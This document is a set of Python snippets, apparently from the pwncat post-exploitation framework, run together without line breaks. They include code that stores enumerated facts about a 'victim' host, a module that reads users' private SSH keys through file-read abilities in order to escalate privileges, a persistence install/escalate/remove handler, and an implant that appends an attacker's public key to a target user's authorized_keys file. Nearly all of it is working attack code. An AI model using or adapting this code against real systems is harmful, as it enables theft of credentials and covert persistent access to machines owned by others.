facts for item in self.enumerate(): if isinstance(item, Status): yield item continue typ, data = item row = pwncat.db.Fact(host_id=pwncat.victim.host.id, type=typ, data=data, source=self.name) try: pwncat.victim.session.add(row) pwncat.victim.host.facts.append(row) pwncat.victim.session.commit() except sqlalchemy.exc.IntegrityError: pwncat.victim.session.rollback() yield Status(data) continue # Don't yield the actual fact if we didn't ask for this type if types: for typ in types: if fnmatch.fnmatch(row.type, typ): yield row else: yield Status(data) else: yield row # Add the marker if needed if self.SCHEDULE != Schedule.ALWAYS: row = pwncat.db.Fact( host_id=pwncat.victim.host.id, type="marker", source=marker_name, data=None, ) pwncat.victim.session.add(row) pwncat.victim.host.facts.append(row)
def enumerate(self, session: "pwncat.manager.Session"): """Locate usable file read abilities and generate escalations""" # Ensure users are already cached list(session.iter_users()) for ability in session.run("enumerate", types=["ability.file.read"]): user = session.find_user(uid=ability.uid) if user is None: continue yield Status(f"leaking key for [blue]{user.name}[/blue]") ssh_path = session.platform.Path(user.home, ".ssh") authkeys = None pubkey = None # We assume its an authorized key even if we can't read authorized_keys # This will be modified if connection ever fails. authorized = True try: with ability.open(session, str(ssh_path / "id_rsa"), "r") as filp: privkey = filp.read() except (ModuleFailed, FileNotFoundError, PermissionError): yield Status( f"leaking key for [blue]{user.name}[/blue] [red]failed[/red]" ) continue try: with ability.open(session, str(ssh_path / "id_rsa.pub"), "r") as filp: pubkey = filp.read() if pubkey.strip() == "": pubkey = None except (ModuleFailed, FileNotFoundError, PermissionError): yield Status( f"leaking pubkey [red]failed[/red] for [blue]{user.name}[/blue]" ) if pubkey is not None and pubkey != "": try: with ability.open(session, str(ssh_path / "authorized_keys"), "r") as filp: authkeys = filp.read() if authkeys.strip() == "": authkeys = None except (ModuleFailed, FileNotFoundError, PermissionError): yield Status( f"leaking authorized keys [red]failed[/red] for [blue]{user.name}[/blue]" ) if pubkey is not None and authkeys is not None: # We can identify if this key is authorized authorized = pubkey.strip() in authkeys yield PrivateKey( self.name, str(ssh_path / "id_rsa"), ability.uid, privkey, False, authorized=authorized, )
def run(self, remove, escalate, connect, **kwargs): """ This method should not be overriden by subclasses. It handles all logic for installation, escalation, connection, and removal. The standard interface of this method allows abstract interactions across all persistence modules. """ if "user" not in kwargs: raise RuntimeError(f"{self.__class__} must take a user argument") # We need to clear the user for ALL_USERS modules, # but it may be needed for escalate. requested_user = kwargs["user"] if PersistType.ALL_USERS in self.TYPE: kwargs["user"] = None # Check if this module has been installed with the same arguments before ident = (pwncat.victim.session.query( pwncat.db.Persistence.id).filter_by(host_id=pwncat.victim.host.id, method=self.name, args=kwargs).scalar()) # Remove this module if ident is not None and remove: # Run module-specific cleanup result = self.remove(**kwargs) if inspect.isgenerator(result): yield from result else: yield result # Remove from the database pwncat.victim.session.query(pwncat.db.Persistence).filter_by( host_id=pwncat.victim.host.id, method=self.name, args=kwargs).delete(synchronize_session=False) return elif ident is not None and escalate: # This only happens for ALL_USERS, so we assume they want root. if requested_user is None: kwargs["user"] = "******" else: kwargs["user"] = requested_user result = self.escalate(**kwargs) if inspect.isgenerator(result): yield from result else: yield result # There was no exception, so we assume it worked. Put the user # back in raw mode. This is a bad idea, since we may be running # escalate from a privesc context. # pwncat.victim.state = State.RAW return elif ident is not None and connect: if requested_user is None: kwargs["user"] = "******" else: kwargs["user"] = requested_user result = self.connect(**kwargs) if inspect.isgenerator(result): yield from result else: yield result return elif ident is None and (remove or escalate or connect): raise PersistError( f"{self.name}: not installed with these arguments") elif ident is not None: yield Status( f"{self.name}: already installed with matching arguments") return # Let the installer also produce results result = self.install(**kwargs) if inspect.isgenerator(result): yield from result elif result is not None: yield result self.register(**kwargs)
def install(self, session: "pwncat.manager.Session", user, key): yield Status("verifying user permissions") current_user = session.current_user() if user != "__pwncat_current__" and current_user.id != 0: raise ModuleFailed( "only root can install implants for other users") if not os.path.isfile(key): raise ModuleFailed(f"private key {key} does not exist") try: yield Status("reading public key") with open(key + ".pub", "r") as filp: pubkey = filp.read().rstrip("\n") + "\n" except (FileNotFoundError, PermissionError) as exc: raise ModuleFailed(str(exc)) from exc # Parse user name (default is current user) if user == "__pwncat_current__": user_info = current_user else: user_info = session.find_user(name=user) # Ensure the user exists if user_info is None: raise ModuleFailed(f"user [blue]{user}[/blue] does not exist") # Ensure we haven't already installed for this user for implant in session.run("enumerate", types=["implant.*"]): if implant.source == self.name and implant.uid == user_info.uid: raise ModuleFailed( f"{self.name} already installed for {user_info.name}") # Ensure the directory exists yield Status("locating authorized keys") homedir = session.platform.Path(user_info.home) if not (homedir / ".ssh").is_dir(): (homedir / ".ssh").mkdir(parents=True, exist_ok=True) authkeys_path = homedir / ".ssh" / "authorized_keys" if authkeys_path.is_file(): try: yield Status("reading authorized keys") with authkeys_path.open("r") as filp: authkeys = filp.readlines() except (FileNotFoundError, PermissionError) as exc: raise ModuleFailed(str(exc)) from exc else: authkeys = [] # Add the public key to authorized keys authkeys.append(pubkey) try: yield Status("patching authorized keys") with authkeys_path.open("w") as filp: filp.writelines(authkeys) except (FileNotFoundError, PermissionError) as exc: raise ModuleFailed(str(exc)) from exc # Ensure correct permissions yield Status("fixing authorized keys permissions") session.platform.chown(str(authkeys_path), user_info.id, user_info.gid) authkeys_path.chmod(0o600) return AuthorizedKeyImplant(self.name, user_info, key, pubkey)